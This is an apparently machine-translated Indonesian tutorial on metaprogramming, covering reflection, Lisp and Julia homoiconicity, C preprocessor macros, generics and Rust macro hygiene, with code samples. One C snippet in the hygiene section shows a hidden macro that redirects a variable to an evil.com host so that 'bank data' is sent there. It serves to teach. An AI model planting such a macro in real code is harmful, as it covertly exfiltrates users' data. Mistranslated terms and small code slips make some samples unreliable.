Penulisan Kode Kode: Pengantar Teori dan Praktik Metaprogramming Modern

Diterbitkan: 2022-07-22

Setiap kali saya memikirkan cara terbaik untuk menjelaskan makro, saya ingat program Python yang saya tulis saat pertama kali memulai pemrograman. Saya tidak bisa mengaturnya seperti yang saya inginkan. Saya harus memanggil sejumlah fungsi yang sedikit berbeda, dan kodenya menjadi rumit. Apa yang saya cari—meskipun saya tidak mengetahuinya saat itu—adalah metaprogramming .

metaprogramming (kata benda)

Setiap teknik dimana program dapat memperlakukan kode sebagai data.

Kita dapat membuat contoh yang menunjukkan masalah yang sama yang saya hadapi dengan proyek Python saya dengan membayangkan kita sedang membangun bagian belakang aplikasi untuk pemilik hewan peliharaan. Menggunakan alat di perpustakaan, pet_sdk , kami menulis Python untuk membantu pemilik hewan peliharaan membeli makanan kucing:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Cuplikan 1: Pesan Makanan Kucing

Setelah mengonfirmasi bahwa kode berfungsi, kami melanjutkan untuk menerapkan logika yang sama untuk dua jenis hewan peliharaan lainnya (burung dan anjing). Kami juga menambahkan fitur untuk membuat janji dengan dokter hewan:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Cuplikan 2: Pesan Makanan Kucing, Anjing, dan Burung; Buku Janji Dokter Hewan

Akan lebih baik untuk menyingkat logika berulang Snippet 2 menjadi satu lingkaran, jadi kami mulai menulis ulang kodenya. Kami segera menyadari bahwa, karena setiap fungsi diberi nama berbeda, kami tidak dapat menentukan yang mana (misalnya, book_bird_appointment , book_cat_appointment ) yang akan dipanggil dalam loop kami:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
Cuplikan 3: Sekarang Apa?

Mari kita bayangkan versi turbocharged Python di mana kita dapat menulis program yang secara otomatis menghasilkan kode akhir yang kita inginkan—satu di mana kita dapat secara fleksibel, mudah, dan lancar memanipulasi program kita seolah-olah itu adalah daftar, data dalam file, atau apa pun. tipe data umum atau input program lainnya:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Cuplikan 4: TurboPython: Program Imajiner

Ini adalah contoh makro , tersedia dalam bahasa seperti Rust, Julia, atau C, untuk beberapa nama—tetapi bukan Python.

Skenario ini adalah contoh yang bagus tentang bagaimana menulis program yang dapat memodifikasi dan memanipulasi kodenya sendiri dapat berguna. Inilah tepatnya gambar makro, dan ini adalah salah satu dari banyak jawaban untuk pertanyaan yang lebih besar: Bagaimana kita bisa membuat program mengintrospeksi kodenya sendiri, memperlakukannya sebagai data, dan kemudian bertindak berdasarkan introspeksi itu?

Secara umum, semua teknik yang dapat mencapai introspeksi seperti itu termasuk dalam istilah "metaprogramming". Metaprogramming adalah subbidang yang kaya dalam desain bahasa pemrograman, dan dapat ditelusuri kembali ke satu konsep penting: kode sebagai data.

Refleksi: Dalam Pertahanan Python

Anda mungkin menunjukkan bahwa, meskipun Python mungkin tidak memberikan dukungan makro, ia menawarkan banyak cara lain untuk menulis kode ini. Misalnya, di sini kita menggunakan metode isinstance() untuk mengidentifikasi kelas variabel animal kita adalah turunan dari dan memanggil fungsi yang sesuai:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
Cuplikan 5: Contoh Idiomatik

Kami menyebut jenis refleksi metaprogramming ini , dan kami akan kembali membahasnya nanti. Kode Snippet 5 masih sedikit rumit tetapi lebih mudah bagi programmer untuk menulis daripada Snippet 2, di mana kami mengulangi logika untuk setiap hewan yang terdaftar.

Tantangan

Dengan menggunakan metode getattr , ubah kode sebelumnya untuk memanggil fungsi order_*_food dan book_*_appointment yang sesuai secara dinamis. Ini bisa dibilang membuat kode kurang mudah dibaca, tetapi jika Anda tahu Python dengan baik, ada baiknya memikirkan bagaimana Anda bisa menggunakan getattr daripada fungsi isinstance , dan menyederhanakan kodenya.


Homoiconicity: Pentingnya Lisp

Beberapa bahasa pemrograman, seperti Lisp, membawa konsep metaprogramming ke level lain melalui homoiconicity .

homoiconicity (kata benda)

Properti bahasa pemrograman di mana tidak ada perbedaan antara kode dan data di mana program beroperasi.

Lisp, dibuat pada tahun 1958, adalah bahasa homoiconic tertua dan bahasa pemrograman tingkat tinggi tertua kedua. Mendapatkan namanya dari "LISt Processor," Lisp adalah sebuah revolusi dalam komputasi yang sangat membentuk bagaimana komputer digunakan dan diprogram. Sulit untuk melebih-lebihkan bagaimana Lisp secara mendasar dan khas memengaruhi pemrograman.

Emacs ditulis dalam Lisp, yang merupakan satu-satunya bahasa komputer yang indah. Neal Stephenson

Lisp dibuat hanya satu tahun setelah FORTRAN, di era kartu punch dan komputer militer yang memenuhi ruangan. Namun programmer masih menggunakan Lisp hari ini untuk menulis aplikasi baru yang modern. Pencipta utama Lisp, John McCarthy, adalah pelopor di bidang AI. Selama bertahun-tahun, Lisp adalah bahasa AI, dengan para peneliti menghargai kemampuan untuk menulis ulang kode mereka sendiri secara dinamis. Penelitian AI hari ini berpusat di sekitar jaringan saraf dan model statistik yang kompleks, daripada jenis kode generasi logika itu. Namun, penelitian yang dilakukan pada AI menggunakan Lisp—terutama penelitian yang dilakukan pada tahun 60-an dan 70-an di MIT dan Stanford—menciptakan bidang seperti yang kita kenal, dan pengaruhnya yang besar terus berlanjut.

Munculnya Lisp memaparkan pemrogram awal pada kemungkinan komputasi praktis dari hal-hal seperti rekursi, fungsi tingkat tinggi, dan daftar tertaut untuk pertama kalinya. Itu juga menunjukkan kekuatan bahasa pemrograman yang dibangun di atas ide-ide kalkulus lambda.

Gagasan ini memicu ledakan dalam desain bahasa pemrograman dan, seperti yang dikatakan Edsger Dijkstra, salah satu nama terbesar dalam ilmu komputer, […] membantu sejumlah manusia paling berbakat dalam memikirkan pemikiran yang sebelumnya tidak mungkin.”

Contoh ini menunjukkan program Lisp sederhana (dan yang setara dengan sintaks Python yang lebih dikenal) yang mendefinisikan fungsi "faktorial" yang secara rekursif menghitung faktorial dari inputnya dan memanggil fungsi itu dengan input "7":

Pelat Python
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

Kode sebagai Data

Meskipun menjadi salah satu inovasi Lisp yang paling berdampak dan berpengaruh, homoiconicity, tidak seperti rekursi dan banyak konsep lain yang dipelopori Lisp, tidak berhasil masuk ke sebagian besar bahasa pemrograman saat ini.

Tabel berikut membandingkan fungsi homoiconic yang mengembalikan kode di Julia dan Lisp. Julia adalah bahasa homoikon yang, dalam banyak hal, menyerupai bahasa tingkat tinggi yang mungkin Anda kenal (misalnya, Python, Ruby).

Bagian kunci dari sintaks dalam setiap contoh adalah karakter kutipannya . Julia menggunakan : (titik dua) untuk mengutip, sedangkan Lisp menggunakan ' (tanda kutip tunggal):

Julia Pelat
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

Dalam kedua contoh, kutipan di samping ekspresi utama ( (x + 1) atau (+ x 1) ) mengubahnya dari kode yang akan dievaluasi secara langsung menjadi ekspresi abstrak yang dapat kita manipulasi. Fungsi mengembalikan kode—bukan string atau data. Jika kita memanggil fungsi kita dan menulis print(function_that_returns_code()) , Julia akan mencetak kode yang dirangkai sebagai x+1 (dan yang setara dengan Lisp). Sebaliknya, tanpa : (atau ' di Lisp), kita akan mendapatkan kesalahan bahwa x tidak didefinisikan.

Mari kita kembali ke contoh Julia kita dan memperluasnya:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
Cuplikan 6: Contoh Julia Diperpanjang

Fungsi eval dapat digunakan untuk menjalankan kode yang kita buat dari tempat lain dalam program. Perhatikan bahwa nilai yang dicetak didasarkan pada definisi variabel x . Jika kami mencoba eval kode yang dihasilkan dalam konteks di mana x tidak ditentukan, kami akan mendapatkan kesalahan.

Homoiconicity adalah jenis metaprogramming yang kuat, mampu membuka paradigma pemrograman baru dan kompleks di mana program dapat beradaptasi dengan cepat, menghasilkan kode agar sesuai dengan masalah khusus domain atau format data baru yang dihadapi.

Ambil kasus WolframAlpha, di mana Bahasa Wolfram homoiconic dapat menghasilkan kode untuk beradaptasi dengan berbagai masalah yang luar biasa. Anda dapat bertanya kepada WolframAlpha, “Berapa PDB Kota New York dibagi dengan populasi Andorra?” dan, luar biasa, menerima tanggapan logis.

Tampaknya tidak mungkin ada orang yang pernah berpikir untuk memasukkan perhitungan yang tidak jelas dan tidak berguna ini ke dalam database, tetapi Wolfram menggunakan metaprogramming dan grafik pengetahuan ontologis untuk menulis kode on-the-fly untuk menjawab pertanyaan ini.

Sangat penting untuk memahami fleksibilitas dan kekuatan yang disediakan oleh Lisp dan bahasa homoikon lainnya. Sebelum kita menyelam lebih jauh, mari kita pertimbangkan beberapa opsi metaprogramming yang Anda inginkan:

Definisi Contoh Catatan
Homoiconicity Karakteristik bahasa di mana kode adalah data "kelas satu". Karena tidak ada pemisahan antara kode dan data, keduanya dapat digunakan secara bergantian.
  • Pelat
  • Prolog
  • Julia
  • Rebol/Merah
  • Bahasa Wolfram
Di sini, Lisp menyertakan bahasa lain dalam keluarga Lisp, seperti Skema, Raket, dan Clojure.
makro Pernyataan, fungsi, atau ekspresi yang mengambil kode sebagai input dan mengembalikan kode sebagai output.
  • macro_rules! , Derive , dan makro prosedural
  • Doa @macro Julia
  • defmacro
  • C's #define
(Lihat catatan berikutnya tentang makro C.)
Arahan Preprocessor (atau Precompiler) Sistem yang menggunakan program sebagai input dan, berdasarkan pernyataan yang disertakan dalam kode, mengembalikan versi program yang diubah sebagai output.
  • makro C
  • # sistem praprosesor C++
Makro C diimplementasikan menggunakan sistem praprosesor C, tetapi keduanya merupakan konsep yang terpisah.

Perbedaan konseptual utama antara makro C (di mana kita menggunakan #define preprocessor directive) dan bentuk lain dari C preprocessor directives (misalnya, #if dan #ifndef ) adalah bahwa kita menggunakan makro untuk menghasilkan kode saat menggunakan non- #define lainnya arahan preprocessor untuk mengkompilasi kode lain secara kondisional. Keduanya terkait erat dalam C dan dalam beberapa bahasa lain, tetapi mereka adalah jenis metaprogramming yang berbeda.
Cerminan Kemampuan program untuk memeriksa, memodifikasi, dan mengintrospeksi kodenya sendiri.
  • getattr isinstance fungsi Python
  • Reflect dan typeof JavaScript
  • getDeclaredMethods dari Java
  • Hirarki kelas System.Type .NET
Refleksi dapat terjadi pada waktu kompilasi atau pada saat dijalankan.
Obat generik Kemampuan untuk menulis kode yang valid untuk sejumlah jenis yang berbeda atau yang dapat digunakan dalam berbagai konteks tetapi disimpan di satu tempat. Kita dapat mendefinisikan konteks di mana kode tersebut valid baik secara eksplisit maupun implisit.

Generik gaya template:

  • C++
  • Karat
  • Jawa

Polimorfisme parametrik:

  • Haskell
  • ML
Pemrograman generik adalah topik yang lebih luas daripada metaprogramming generik, dan garis antara keduanya tidak didefinisikan dengan baik.

Dalam pandangan penulis ini, sistem tipe parametrik hanya dihitung sebagai metaprogramming jika dalam bahasa yang diketik secara statis.
Referensi untuk Metaprogramming

Mari kita lihat beberapa contoh langsung dari homoiconicity, macro, directives preprocessor, refleksi, dan generik yang ditulis dalam berbagai bahasa pemrograman:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Cuplikan 7: Homoiconicity di Julia
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Cuplikan 8: Arahan Preprosesor di C
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Cuplikan 9: Refleksi dengan Python
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Cuplikan 10: Generik di Java
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
Cuplikan 11: Makro di Rust

Makro (seperti yang ada di Cuplikan 11) menjadi populer lagi di generasi baru bahasa pemrograman. Untuk berhasil mengembangkan ini, kita harus mempertimbangkan topik utama: kebersihan.

Makro Higienis dan Tidak Higienis

Apa artinya kode menjadi "higienis" atau "tidak higienis"? Untuk memperjelas, mari kita lihat makro Rust, yang dibuat oleh macro_rules! fungsi. Sesuai dengan namanya, macro_rules! menghasilkan kode berdasarkan aturan yang kita definisikan. Dalam hal ini, kami telah menamai makro kami my_macro , dan aturannya adalah “Buat baris kode let x = $n ”, di mana n adalah input kami:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
Cuplikan 12: Kebersihan di Rust

Saat kami memperluas makro kami (menjalankan makro untuk mengganti pemanggilannya dengan kode yang dihasilkannya), kami akan mengharapkan untuk mendapatkan yang berikut:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
Cuplikan 13: Contoh Kami, Diperluas

Tampaknya, makro kami telah mendefinisikan ulang variabel x menjadi sama dengan 3, jadi kami mungkin mengharapkan program untuk mencetak 3 . Bahkan, ia mencetak 5 ! Terkejut? Di Rust, macro_rules! higienis sehubungan dengan pengidentifikasi, sehingga tidak akan "menangkap" pengidentifikasi di luar cakupannya. Dalam hal ini, pengidentifikasinya adalah x . Seandainya ditangkap oleh makro, itu akan sama dengan 3.

kebersihan (kata benda)

Properti yang menjamin bahwa ekspansi makro tidak akan menangkap pengidentifikasi atau status lain dari luar cakupan makro. Makro dan sistem makro yang tidak menyediakan properti ini disebut tidak higienis .

Kebersihan di makro adalah topik yang agak kontroversial di kalangan pengembang. Para pendukung bersikeras bahwa tanpa kebersihan, terlalu mudah untuk secara tidak sengaja mengubah perilaku kode Anda secara tidak sengaja. Bayangkan makro yang secara signifikan lebih kompleks daripada Cuplikan 13 yang digunakan dalam kode kompleks dengan banyak variabel dan pengenal lainnya. Bagaimana jika makro itu menggunakan salah satu variabel yang sama dengan kode Anda—dan Anda tidak menyadarinya?

Bukan hal yang aneh bagi pengembang untuk menggunakan makro dari perpustakaan eksternal tanpa membaca kode sumbernya. Ini sangat umum dalam bahasa baru yang menawarkan dukungan makro (misalnya, Rust dan Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Cuplikan 14: Makro C Jahat

Makro tidak higienis di C ini menangkap website pengenal dan mengubah nilainya. Tentu saja, penangkapan pengenal tidak berbahaya. Ini hanyalah konsekuensi yang tidak disengaja dari penggunaan makro.

Jadi, makro yang higienis itu baik, dan makro yang tidak higienis itu buruk, bukan? Sayangnya, tidak sesederhana itu. Ada kasus kuat yang harus dibuat bahwa makro higienis membatasi kita. Terkadang, penangkapan pengenal berguna. Mari kita lihat kembali Cuplikan 2, di mana kita menggunakan pet_sdk untuk menyediakan layanan untuk tiga jenis hewan peliharaan. Kode asli kami dimulai seperti ini:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Cuplikan 15: Kembali ke Dokter Hewan—Mengingat pet sdk

Anda akan ingat bahwa Cuplikan 3 adalah upaya untuk memadatkan logika berulang Cuplikan 2 menjadi loop semua-inklusif. Tetapi bagaimana jika kode kita bergantung pada pengidentifikasi cats and dogs , dan kita ingin menulis sesuatu seperti berikut:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Cuplikan 16: Penangkapan Pengenal yang Berguna (dalam "TurboPython" Imajiner)

Snippet 16 agak sederhana, tentu saja, tetapi bayangkan kasus di mana kita ingin makro menulis 100% dari bagian kode yang diberikan. Makro higienis mungkin membatasi dalam kasus seperti itu.

Sementara debat makro higienis versus tidak higienis bisa rumit, kabar baiknya adalah Anda tidak harus mengambil sikap. Bahasa yang Anda gunakan menentukan apakah makro Anda akan higienis atau tidak higienis, jadi ingatlah itu saat menggunakan makro.

Makro modern

Macro mengalami sedikit momen sekarang. Untuk waktu yang lama, fokus bahasa pemrograman imperatif modern bergeser dari makro sebagai bagian inti dari fungsionalitasnya, menghindarinya untuk mendukung jenis metaprogramming lainnya.

Bahasa yang diajarkan kepada programmer baru di sekolah (misalnya, Python dan Java) memberi tahu mereka bahwa yang mereka butuhkan hanyalah refleksi dan obat generik.

Seiring waktu, ketika bahasa modern itu menjadi populer, makro menjadi terkait dengan sintaks praprosesor C dan C++ yang mengintimidasi—jika pemrogram menyadarinya sama sekali.

Namun, dengan munculnya Rust dan Julia, tren telah bergeser kembali ke makro. Rust dan Julia adalah dua bahasa modern, mudah diakses, dan banyak digunakan yang telah mendefinisikan ulang dan mempopulerkan konsep makro dengan beberapa ide baru dan inovatif. Ini sangat menarik di Julia, yang tampaknya siap untuk menggantikan Python dan R sebagai bahasa serbaguna "termasuk baterai" yang mudah digunakan.

Ketika kami pertama kali melihat pet_sdk melalui kacamata "TurboPython" kami, yang kami inginkan adalah sesuatu seperti Julia. Mari kita tulis ulang Cuplikan 2 di Julia, menggunakan homoiconicity-nya dan beberapa alat metaprogramming lain yang ditawarkannya:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
Cuplikan 17: Kekuatan Macro Julia—Membuat pet_sdk Bekerja untuk Kita

Mari kita uraikan Cuplikan 17:

  1. Kami mengulangi melalui tiga tupel. Yang pertama adalah ("cat", :clean_litterbox) , jadi variabel pet ditetapkan ke "cat" , dan variabel care_fn ditetapkan ke simbol yang dikutip :clean_litterbox .
  2. Kami menggunakan fungsi Meta.parse untuk mengubah string menjadi Expression , sehingga kami dapat mengevaluasinya sebagai kode. Dalam hal ini, kita ingin menggunakan kekuatan interpolasi string, di mana kita dapat memasukkan satu string ke string lainnya, untuk menentukan fungsi apa yang dipanggil.
  3. Kami menggunakan fungsi eval untuk menjalankan kode yang kami buat. @eval begin… end adalah cara lain untuk menulis eval(...) untuk menghindari mengetik ulang kode. Di dalam blok @eval adalah kode yang kami buat secara dinamis dan berjalan.

Sistem metaprogramming Julia benar-benar membebaskan kita untuk mengekspresikan apa yang kita inginkan seperti yang kita inginkan. Kita bisa menggunakan beberapa pendekatan lain, termasuk refleksi (seperti Python di Cuplikan 5). Kami juga dapat menulis fungsi makro yang secara eksplisit menghasilkan kode untuk hewan tertentu, atau kami dapat membuat seluruh kode sebagai string dan menggunakan Meta.parse atau kombinasi metode tersebut.

Beyond Julia: Sistem Metaprogramming Modern Lainnya

Julia mungkin adalah salah satu contoh paling menarik dan meyakinkan dari sistem makro modern, tetapi itu bukan satu-satunya. Rust, juga, telah berperan dalam menghadirkan makro di depan programmer sekali lagi.

Di Rust, fitur makro jauh lebih terpusat daripada di Julia, meskipun kami tidak akan menjelajahinya sepenuhnya di sini. Untuk sejumlah alasan, Anda tidak dapat menulis Rust idiomatik tanpa menggunakan makro. Namun, di Julia, Anda dapat memilih untuk sepenuhnya mengabaikan homoiconicity dan sistem makro.

Sebagai konsekuensi langsung dari sentralitas itu, ekosistem Rust benar-benar menganut makro. Anggota komunitas telah membangun beberapa perpustakaan yang sangat keren, bukti konsep, dan fitur dengan makro, termasuk alat yang dapat membuat serial dan deserialize data, secara otomatis menghasilkan SQL, atau bahkan mengubah anotasi yang tersisa dalam kode ke bahasa pemrograman lain, semua dihasilkan dalam kode di waktu kompilasi.

Sementara metaprogramming Julia mungkin lebih ekspresif dan bebas, Rust mungkin adalah contoh terbaik dari bahasa modern yang meningkatkan metaprogramming, karena banyak ditampilkan di seluruh bahasa.

Sebuah Mata untuk Masa Depan

Sekarang adalah waktu yang luar biasa untuk tertarik pada bahasa pemrograman. Hari ini, saya dapat menulis aplikasi dalam C++ dan menjalankannya di browser web atau menulis aplikasi dalam JavaScript untuk dijalankan di desktop atau ponsel. Hambatan untuk masuk tidak pernah lebih rendah, dan programmer baru memiliki informasi di ujung jari mereka tidak seperti sebelumnya.

Dalam dunia pilihan dan kebebasan programmer ini, kami semakin memiliki hak istimewa untuk menggunakan bahasa modern yang kaya, yang memilih fitur dan konsep dari sejarah ilmu komputer dan bahasa pemrograman sebelumnya. Sangat menarik untuk melihat makro diambil dan dibersihkan dalam gelombang perkembangan ini. Saya tidak sabar untuk melihat apa yang akan dilakukan pengembang generasi baru saat Rust dan Julia memperkenalkan mereka ke makro. Ingat, "kode sebagai data" lebih dari sekadar slogan. Ini adalah ideologi inti yang perlu diingat ketika mendiskusikan metaprogramming di komunitas online atau lingkungan akademis mana pun.

'Kode sebagai data' lebih dari sekadar slogan.

Menciak

64 tahun sejarah Metaprogramming telah menjadi bagian integral dari pengembangan pemrograman seperti yang kita kenal sekarang. Sementara inovasi dan sejarah yang kami jelajahi hanyalah sudut dari kisah metaprogramming, mereka menggambarkan kekuatan dan kegunaan metaprogramming modern yang kuat.